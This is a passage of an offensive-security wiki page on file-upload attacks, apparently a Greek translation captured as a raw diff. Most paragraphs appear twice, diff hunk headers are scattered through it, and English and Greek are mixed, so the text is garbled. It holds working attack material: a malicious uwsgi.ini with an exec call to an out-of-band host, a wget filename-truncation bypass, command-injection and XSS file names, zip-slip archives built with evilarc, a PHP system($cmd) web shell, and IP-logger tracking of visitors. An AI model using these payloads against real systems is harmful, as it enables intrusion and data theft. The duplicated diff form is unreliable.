Ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε uWSGI servers εάν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρυθμίσεων `.ini`. Τα αρχεία ρυθμίσεων του uWSGI χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώνουν "magic" μεταβλητές, placeholders, και operators. Σημειωτέον, ο τελεστής '@', χρησιμοποιούμενος ως `@(filename)`, έχει σχεδιαστεί για να συμπεριλαμβάνει τα περιεχόμενα ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων schemes στο uWSGI, το scheme "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από το standard output μιας διεργασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν επεξεργάζεται ένα αρχείο `.ini`.
Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε uWSGI servers αν κάποιος έχει τη δυνατότητα να τροποποιήσει το `.ini` configuration file. Τα αρχεία ρυθμίσεων uWSGI χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώσουν "magic" variables, placeholders και operators. Σημειωτέον, ο operator '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει τα περιεχόμενα ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων schemes στο uWSGI, το scheme "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από το standard output μιας διεργασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα `.ini` configuration file υποβάλλεται σε επεξεργασία.
Εξετάστε το παρακάτω παράδειγμα ενός κακόβουλου `uwsgi.ini` αρχείου, που παρουσιάζει διάφορα schemes:
Σκεφτείτε το ακόλουθο παράδειγμα ενός κακόβουλου `uwsgi.ini` αρχείου, που παρουσιάζει διάφορα schemes:
```ini
[uwsgi]
; read from a symbol
@ -156,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου διαμόρφωσης. Για να ενεργοποιηθεί και να αναλυθεί η διαμόρφωση, η διεργασία uWSGI πρέπει είτε να επανεκκινηθεί (ενδεχομένως μετά από crash ή λόγω ενός Denial of Service attack) είτε το αρχείο να ρυθμιστεί για auto-reload. Η λειτουργία auto-reload, εάν είναι ενεργοποιημένη, φορτώνει ξανά το αρχείο σε καθορισμένα διαστήματα όταν εντοπίζει αλλαγές.
Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από ένα crash ή λόγω μιας επίθεσης Denial of Service) είτε το αρχείο πρέπει να έχει οριστεί σε auto-reload. Η δυνατότητα auto-reload, αν είναι ενεργοποιημένη, ξαναφορτώνει το αρχείο σε καθορισμένα διαστήματα όταν ανιχνεύει αλλαγές.
Είναι κρίσιμο να κατανοήσετε την ελαστική/χαλαρή φύση του τρόπου ανάλυσης του αρχείου διαμόρφωσης από το uWSGI. Συγκεκριμένα, το payload που συζητήθηκε μπορεί να εισαχθεί μέσα σε ένα δυαδικό αρχείο (όπως μια εικόνα ή ένα PDF), διευρύνοντας περαιτέρω το πεδίο πιθανής εκμετάλλευσης.
Είναι κρίσιμο να κατανοήσετε τη χαλαρή φύση του parsing των αρχείων ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητούμενο payload μπορεί να εισαχθεί σε ένα binary αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο πιθανής εκμετάλλευσης.
## **wget File Upload/SSRF Trick**
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για να **κατεβάζει αρχεία** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των αρχείων που κατεβαίνουν είναι μέσα σε μια whitelist για να διασφαλίσει ότι θα κατεβούν μόνο επιτρεπτά αρχεία. Ωστόσο, **this check can be bypassed.**\
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, το **wget** περικόπτει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο που ονομάζεται "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **bypass** τον **έλεγχο** (όπως σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας server χρησιμοποιεί **`wget`** για να **κατεβάσει αρχεία** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των ληφθέντων αρχείων βρίσκεται σε μια whitelist για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα κατέβουν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, **wget** περικόπτει τα ονόματα αρχείων στα **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα θα **παρακάμψει** τον **έλεγχο** (όπως σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -186,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Σημειώστε ότι **άλλη επιλογή** που ίσως σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε διαφορετικό αρχείο**, έτσι το αρχικό URL θα παρακάμψει τον έλεγχο και στη συνέχεια το wget θα κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με το **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα που ανακατεύθυνε με το όνομα του αρχείου που υποδεικνύεται στο αρχικό URL**.
Σημειώστε ότι **μια άλλη επιλογή** που ίσως σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server redirect to a different file**, έτσι το αρχικό URL θα παρακάμψει τον έλεγχο και έπειτα το wget θα κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός εάν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα προώθησης με το όνομα του αρχείου που αναφέρεται στο αρχικό URL**.
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) είναι ένα ισχυρό εργαλείο σχεδιασμένο για να βοηθά Pentesters και Bug Hunters στο testing των μηχανισμών file upload. Χρησιμοποιεί διάφορες bug bounty τεχνικές για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας σχολαστικές αξιολογήσεις των web applications.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) είναι ένα ισχυρό εργαλείο σχεδιασμένο να βοηθά Pentesters και Bug Hunters στη δοκιμή μηχανισμών file upload. Χρησιμοποιεί διάφορες bug bounty techniques για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, διασφαλίζοντας πλήρεις αξιολογήσεις web εφαρμογών.
### Corrupting upload indices with snprintf quirks (historical)
Κάποιοι legacy upload handlers που χρησιμοποιούν το `snprintf()` ή παρόμοιο για να φτιάξουν multi-file arrays από ένα single-file upload μπορούν να εξαπατηθούν ώστε να πλαστογραφήσουν τη δομή `_FILES`. Λόγω ασυνεπειών και αποκοπής στη συμπεριφορά του `snprintf()`, ένα προσεκτικά κατασκευασμένο single upload μπορεί να εμφανιστεί ως πολλαπλά αρχεία με δείκτες στην πλευρά του server, μπερδεύοντας λογική που υποθέτει αυστηρό σχήμα (π.χ. το χειρίζεται ως multi-file upload και παίρνει μη ασφαλείς διαδρομές). Παρότι είναι πιο εξειδικευμένο σήμερα, αυτό το pattern “index corruption” εμφανίζεται περιστασιακά σε CTFs και παλιές βάσεις κώδικα.
Κάποιοι παλαιότεροι upload handlers που χρησιμοποιούν `snprintf()` ή παρόμοια για να φτιάξουν πίνακες multi-file από ένα single-file upload μπορούν να ξεγελαστούν ώστε να πλαστογραφήσουν τη δομή `_FILES`. Εξαιτίας ασυνέπειας και αποκοπής στη συμπεριφορά του `snprintf()`, ένα προσεκτικά κατασκευασμένο single upload μπορεί να εμφανιστεί ως πολλαπλά αρχεία με δείκτες στην πλευρά του server, μπερδεύοντας λογικές που υποθέτουν αυστηρή δομή (π.χ. αντιμετώπιση ως multi-file upload και εκτέλεση μη ασφαλών κλάδων). Αν και σπάνιο σήμερα, αυτό το μοτίβο «index corruption» εμφανίζεται περιστασιακά σε CTFs και παλαιότερα codebases.
## From File upload to other vulnerabilities
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- Ορίστε την **filename** σε `../../../tmp/lol.png` και δοκιμάστε να επιτύχετε **path traversal**
- Ορίστε την **filename** σε `sleep(10)-- -.jpg` και ίσως καταφέρετε **SQL injection**
- Ορίστε την **filename** σε `<svg onload=alert(document.domain)>` για να επιτύχετε XSS
- Ορίστε την **filename** σε `; sleep 10;` για να δοκιμάσετε κάποιο command injection (περισσότερα [command injections tricks εδώ](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- Δοκιμάστε **different svg payloads** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Αν μπορείτε να υποδείξετε στον web server να πιάσει μια εικόνα από ένα URL, μπορείτε να προσπαθήσετε να καταχραστείτε ένα [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **image** πρόκειται να **αποθηκευτεί** σε κάποιο **public** site, μπορείτε επίσης να υποδείξετε ένα URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες κάθε επισκέπτη**.
- Αν μπορείτε να **υποδείξετε στον web server να πάρει μια εικόνα από ένα URL** μπορείτε να προσπαθήσετε να καταχραστείτε ένα [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **image** πρόκειται να **saved** σε κάποιο **public** site, μπορείτε επίσης να υποδείξετε ένα URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Ειδικά διαμορφωμένα PDFs για XSS: Η [ακόλουθη σελίδα παρουσιάζει πώς να **ενθέσετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs, μπορείτε να ετοιμάσετε κάποιο PDF που θα εκτελέσει αυθαίρετο JS σύμφωνα με τις δοθείσες οδηγίες.
- Ανεβάστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **antivirus**
- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά το uploading αρχείων
- Ειδικά διαμορφωμένα PDFs για XSS: Η [επόμενη σελίδα παρουσιάζει πώς να **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs θα μπορούσατε να προετοιμάσετε ένα PDF που θα εκτελέσει αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
- Ανεβάστε το περιεχόμενο του \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) για να ελέγξετε αν ο server έχει κάποιο **antivirus**
- Ελέγξτε αν υπάρχει κάποιο **size limit** κατά το ανέβασμα αρχείων
Ακολουθεί μια λίστα top 10 πραγμάτων που μπορείτε να πετύχετε ανεβάζοντας αρχεία (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Ακολουθεί μια top 10 λίστα πραγμάτων που μπορείτε να πετύχετε ανεβάζοντας αρχεία (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -239,15 +239,15 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
Ανατρέξτε στο [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων.
## Zip/Tar File Automatically decompressed Upload
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
Αν μπορείτε να ανεβάσετε ένα ZIP που θα αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:
### Symlink
Ανεβάστε ένα archive που περιέχει soft links προς άλλα αρχεία, τότε, προσπελάζοντας τα αποσυμπιεσμένα αρχεία θα έχετε πρόσβαση στα linked files:
Ανεβάστε ένα archive που περιέχει soft links (symbolic links) προς άλλα αρχεία, και στη συνέχεια, προσπελάζοντας τα αποσυμπιεσμένα αρχεία θα προσπελάσετε τα συνδεδεμένα αρχεία:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -255,18 +255,18 @@ tar -cvf test.tar symindex.txt
```
### Αποσυμπίεση σε διαφορετικούς φακέλους
Η απρόσμενη δημιουργία αρχείων σε καταλόγους κατά την αποσυμπίεση είναι ένα σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να αποτρέψει την εκτέλεση εντολών σε επίπεδο OS μέσω κακόβουλων file uploads, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες directory traversal του μορφότυπου ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμπτουν περιορισμούς και να διαφεύγουν από ασφαλείς upload directories χειραγωγώντας τη λειτουργία αποσυμπίεσης της στοχευμένης εφαρμογής.
Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης αποτελεί σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από OS-level command execution μέσω κακόβουλων μεταφορτώσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες directory traversal του ZIP archive format μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει σε επιτιθέμενους να παρακάμψουν περιορισμούς και να διαφύγουν από ασφαλείς καταλόγους ανεβάσματος, χειραγωγώντας τη λειτουργία αποσυμπίεσης της στοχευμένης εφαρμογής.
Ένα αυτοματοποιημένο exploit για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμο στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί ως εξής:
Ένας αυτοματοποιημένος exploit για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμος στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Επιπλέον, το **symlink trick with evilarc** είναι μια επιλογή. Αν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργήσετε ένα symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό εξασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη λειτουργία του.
Επιπλέον, το **symlink trick with evilarc** είναι μια επιλογή. Αν ο στόχος είναι να στοχευθεί ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργηθεί ένα symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό εξασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του.
Παρακάτω είναι ένα παράδειγμα Python code που χρησιμοποιείται για να δημιουργήσει ένα malicious zip file:
Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για να δημιουργήσει ένα κακόβουλο zip αρχείο:
```python
#!/usr/bin/python
import zipfile
@ -288,7 +288,7 @@ create_zip()
Για περισσότερες λεπτομέρειες **δείτε το αρχικό άρθρο στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: Γράφεται PHP κώδικας που εκτελεί εντολές που περνιούνται μέσω της μεταβλητής `$_REQUEST`.
1. **Δημιουργία PHP Shell**: Γράφεται PHP κώδικας για την εκτέλεση εντολών που περνάνε μέσω της μεταβλητής `$_REQUEST`.
```php
<?php
@ -298,14 +298,14 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: Δημιουργούνται πολλά αρχεία και συγκεντρώνεται ένα αρχείο zip που περιέχει αυτά τα αρχεία.
2. **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα zip αρχείο που περιέχει αυτά τα αρχεία.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας το "xxA" σε "../" για να πραγματοποιηθεί directory traversal.
3. **Τροποποίηση με Hex Editor ή vi**: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας "xxA" σε "../" για να περιηγηθεί σε φακέλους.
```bash
:set modifiable
@ -324,31 +324,31 @@ pop graphic-context
```
## Ενσωμάτωση PHP Shell σε PNG
Η ενσωμάτωση ενός PHP shell στο chunk IDAT ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από την PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για αλλαγή μεγέθους και resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για ορισμένες χρήσεις.
Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για αλλαγή μεγέθους και resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για ορισμένες χρήσεις.
Μια λεπτομερής διερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.
Μια αναλυτική διερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
Polyglot files αποτελούν ένα μοναδικό εργαλείο στην ασφάλεια στον κυβερνοχώρο, λειτουργώντας σαν χαμαιλέοντες που μπορούν νόμιμα να υπάρχουν σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένα υβρίδιο που λειτουργεί και ως GIF και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζεύγος· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
Τα Polyglot Files λειτουργούν ως μοναδικό εργαλείο στην ασφάλεια, ενεργώντας σαν χαμαιλέοντες που μπορούν έγκυρα να υπάρχουν σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένα υβρίδιο που λειτουργεί και ως GIF και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζεύγος· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
Η βασική χρησιμότητα των polyglot files έγκειται στην ικανότητά τους να παρακάμπτουν μηχανισμούς ασφαλείας που ελέγχουν αρχεία βάσει τύπου. Συνήθη πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο ορισμένοι τύποι αρχείων για upload — όπως JPEG, GIF ή DOC — για να μειωθεί ο κίνδυνος από δυνητικά επικίνδυνα formats (π.χ., JS, PHP ή Phar αρχεία). Ωστόσο, ένα polyglot, συμμορφούμενο με τις δομικές προϋποθέσεις πολλαπλών τύπων αρχείων, μπορεί αθόρυβα να παρακάμψει αυτούς τους περιορισμούς.
Η βασική χρησιμότητα των polyglot αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που ελέγχουν τα αρχεία βάσει τύπου. Κοινή πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο συγκεκριμένοι τύποι αρχείων για upload — όπως JPEG, GIF ή DOC — για να μειωθεί ο κίνδυνος από ενδεχόμενα επικίνδυνα formats (π.χ. JS, PHP, ή Phar αρχεία). Ωστόσο, ένα polyglot, συμμορφούμενο με τις δομικές απαιτήσεις πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει αυτές τις περιοριστικές πολιτικές.
Παρόλη την προσαρμοστικότητά τους, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να είναι PHAR file (PHp ARchive) και JPEG, η επιτυχία του upload μπορεί να εξαρτάται από την πολιτική της πλατφόρμας σχετικά με τις επεκτάσεις αρχείων. Αν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπόμενες επεκτάσεις, η απλή δομική διττότητα ενός polyglot μπορεί να μην είναι επαρκής για να εγγυηθεί το upload.
Παρά την προσαρμοστικότητά τους, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να ενσωματώνει ένα PHAR file (PHp ARchive) και ένα JPEG, η επιτυχία του upload μπορεί να εξαρτάται από τις πολιτικές επέκτασης αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπτές επεκτάσεις, η απλή δομική διπλότητα ενός polyglot μπορεί να μην αρκεί για να εξασφαλίσει το upload.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload valid JSONs like if it was PDF
Πώς να αποφύγετε τον εντοπισμό τύπου αρχείου ανεβάζοντας ένα έγκυρο JSON αρχείο ακόμα και αν δεν επιτρέπεται, προσποιούμενοι ότι είναι PDF (τεχνικές από **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Πώς να αποφύγετε τον εντοπισμό τύπου αρχείου ανεβάζοντας ένα έγκυρο JSON ακόμα κι αν δεν επιτρέπεται, μιμούμενοι ένα PDF (τεχνικές από **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Όσο τα magic bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes είναι έγκυρο (δείτε παράδειγμα στο post)
- **`pdflib` library**: Προσθέστε ένα ψεύτικο PDF format μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι είναι pdf (δείτε παράδειγμα στο post)
- **`file` binary**: Μπορεί να διαβάσει μέχρι 1048576 bytes από ένα αρχείο. Δημιουργήστε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να κάνει parse το περιεχόμενο ως json και μετά μέσα στο JSON βάλτε το αρχικό μέρος ενός πραγματικού PDF και θα θεωρήσει ότι είναι PDF
- **`mmmagic` library**: Εφόσον τα magic bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes είναι έγκυρο (βλέπε παράδειγμα από το post)
- **`pdflib` library**: Προσθέστε ένα ψεύτικο PDF format μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι είναι PDF (βλέπε παράδειγμα από το post)
- **`file` binary**: Μπορεί να διαβάσει έως 1048576 bytes από ένα αρχείο. Δημιουργήστε απλά ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να το αναλύσει ως JSON και στη συνέχεια μέσα στο JSON βάλτε το αρχικό μέρος ενός πραγματικού PDF και θα νομίσει ότι είναι PDF
## References
## Αναφορές
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)